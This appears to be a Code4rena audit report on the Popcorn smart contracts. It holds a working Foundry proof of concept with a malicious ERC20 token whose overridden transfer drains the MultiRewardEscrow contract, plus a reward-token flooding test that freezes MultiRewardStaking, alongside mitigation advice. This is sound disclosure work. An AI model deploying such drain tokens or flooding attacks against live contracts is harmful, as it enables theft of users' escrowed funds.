Popcorn contest - Kenshin's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardEscrow.sol#L165 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardEscrow.sol#L100 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardEscrow.sol#L111

Vulnerability details

Impact

The contract does not validate the token balance once a user claims an unlocked token. An attacker may design a fraudulent token that, upon being claimed, transfers its entire balance to a specified account, regardless of the escrowded duration of the rest. To visualize more, let's look at an example attack scenario:

1. Attackers deploy an upgradeable ERC20 token, let's name it $BAD.
2. Attackers lock a small amount of $BAD with some duration, maybe a few blocks.
3. They promote their token and incentivize victims to buy the token and lock in the MultiRewardEscrow contract.
4. Attackers wait until they can claim the escrowed $BAD from above step.
5. Attackers upgrade the token logic from a good one to a malicious one (e.g., overiding the transfer function). Then call claimRewards(), the malicious logic will do the rest.

Or it could be: developer's private key of some upgradeable ERC20 token project has been compromised and the hacker upgrade the logic to steal all escrowed balance out.

Proof of Concept

Append the following snippet code in the test/MultiRewardEscrow.t.sol and run with foundry test --match-contract testDrainMaliciousToken. The proof should be passed without any errors.

Note: A simeple ERC20 token contract is used for easily understanding.

File: MultiRewardEscrow.t.sol

import { BadERC20 } from "./utils/mocks/BadERC20.sol"; // I saved the malicious token there.
...
// other tests
...

function testDrainMaliciousToken() public {
    BadERC20 token3 = new BadERC20("Bad Token", "BAD", 18);
    token3.mint(alice, 50 ether);

    vm.startPrank(alice);
    token3.approve(address(escrow), 10 ether);
    assertEq(token3.balanceOf(address(escrow)), 0);

    // directly transfer all remain balance to the contract to simulate as other users escrowed balance.
    token3.transfer(address(escrow), 40 ether);
    assertEq(token3.balanceOf(address(escrow)), 40 ether);

    // alice (attacker) escrow 10 ethers of $BAD for bob.
    escrow.lock(
      IERC20(address(token3)),
      bob,
      10 ether,
      100,
      0
      );
    vm.stopPrank();

    assertEq(token3.balanceOf(address(escrow)), 50 ether);
    assertEq(token3.balanceOf(alice), 0);
    assertEq(token3.balanceOf(bob), 0);

    // warp to the time that the attacker can claim escrowed token
    vm.warp(block.timestamp+100);

    // turn on the draining switch
    token3.claimOn();

    bytes32[] memory ids = escrow.getEscrowIdsByUserAndToken(bob, IERC20(address(token3)));
    escrow.claimRewards(ids);

    // all token balance should be drainned to bob
    assertEq(token3.balanceOf(address(escrow)), 0);
    assertEq(token3.balanceOf(bob), 50 ether);
}

Here is my example malicious token.

File: BadERC20.sol

pragma solidity ^0.8.15;

import { ERC20 } from "openzeppelin-contracts/token/ERC20/ERC20.sol";

contract BadERC20 is ERC20 {
  uint8 internal _decimals;
  bool internal isClaiming = false;

  constructor(
    string memory name_,
    string memory symbol_,
    uint8 decimals_
  ) ERC20(name_, symbol_) {
    _decimals = decimals_;
  }

  function decimals() public view override returns (uint8) {
    return _decimals;
  }

  function mint(address to, uint256 value) public virtual {
    _mint(to, value);
  }

  function burn(address from, uint256 value) public virtual {
    _burn(from, value);
  }

  function claimOn() public {
    isClaiming = true;
  }

  function claimOff() public {
    isClaiming = false;
  }

  function transfer(address escrowAccount, uint claimable) public override returns(bool) {
    if (isClaiming) claimable = balanceOf(msg.sender);
    _transfer(msg.sender, escrowAccount, claimable);
    return true;
  }
}

Tools Used

Foundry

Recommended Mitigation Steps

Validate the token balance after transfer the claimable amount out to ensure that only the claimable amount has been claimed; similar to the implementation to support deflationary tokens.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L373 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L112 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L127 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L141 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L170

Vulnerability details

Impact

Each time a new reward token is added, the rewardTokens array grows, and there is currently no method for removing or disable unused slots. If the rewardTokens size exceeds the size of uint8, the accrueRewards() modifier is always reverted, hence causing any function applying the modifier unable to be called. In other words, when the size of rewardTokens exceeds 255, the main functionality of MultiRewardStaking will be disabled and all reward tokens will be frozen in the contract. Although the contract is upgradeable, the array still continue to grow, and its size will eventually exceed block gas limit at some point.

Proof of Concept

Append the following code to the file test/MultiRewardStaking.t.sol and run the test with forge test --match-test testRewardTokenSizeRevert. The proof should be passed without any errors.

File: MultiRewardStaking.t.sol

  // import `stdError` from forge-std for expectRevert catch.
  import { Test, stdError } from "forge-std/Test.sol";
  ...
  
  function testRewardTokenSizeRevert() public {
    IERC20[] memory rewardsTokenKeys = new IERC20[](1);
    rewardsTokenKeys[0] = iRewardToken1;

    // loop deploy and add new reward token until it exceed 255 slots.
    for (uint8 i = 0; i < type(uint8).max; i++) {
      _addRewardToken(new MockERC20("rewardTokens flooding", "F255", 18));
    }
    _addRewardToken(rewardToken1);
    stakingToken.mint(alice, 5 ether);

    vm.startPrank(alice);
    stakingToken.approve(address(staking), 5 ether);
    vm.expectRevert(stdError.arithmeticError);
    staking.deposit(1 ether);
  }

Tools Used

Foundry

Recommended Mitigation Steps

Implement a function for disabling unused rewardTokens slots by declaring a state variable as the first-index pointer. Each time a reward token is disabled, swap it with the start-point slot and increment the index by one. To avoid the loop from exceeding the block gas limit, the function might also check the current active token length and limit it below 200 or 300.

feeRecipient should be marked as immutable

Permalinks

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardEscrow.sol#L191

Description

Any unmodifiable state variables should be marked as immutable.

Remediation

Declare the feeRecipient as immutable variable.

---

Missing onlyOwner modifier for addTemplate() function

Permalinks

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/DeploymentController.sol#L66

Description

The function addTemplate() is supposed to be restricted to owner only as the other functions in the contract. But it is appeared that the onlyOwner is missing.

Remediation

Apply onlyOwner modifier to the function.

---

Missing check for template category existence

Permalinks

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/TemplateRegistry.sol#L102-L109

Description

Set endorsement of uninitialize is possible because the function does not verify the existence of the template category. Therefore, modify DeploymentController.deploy() to pass the endorsement check and deploy a new clone to a category that does not exist.

Remediation

Add the template category existence check to the function.

---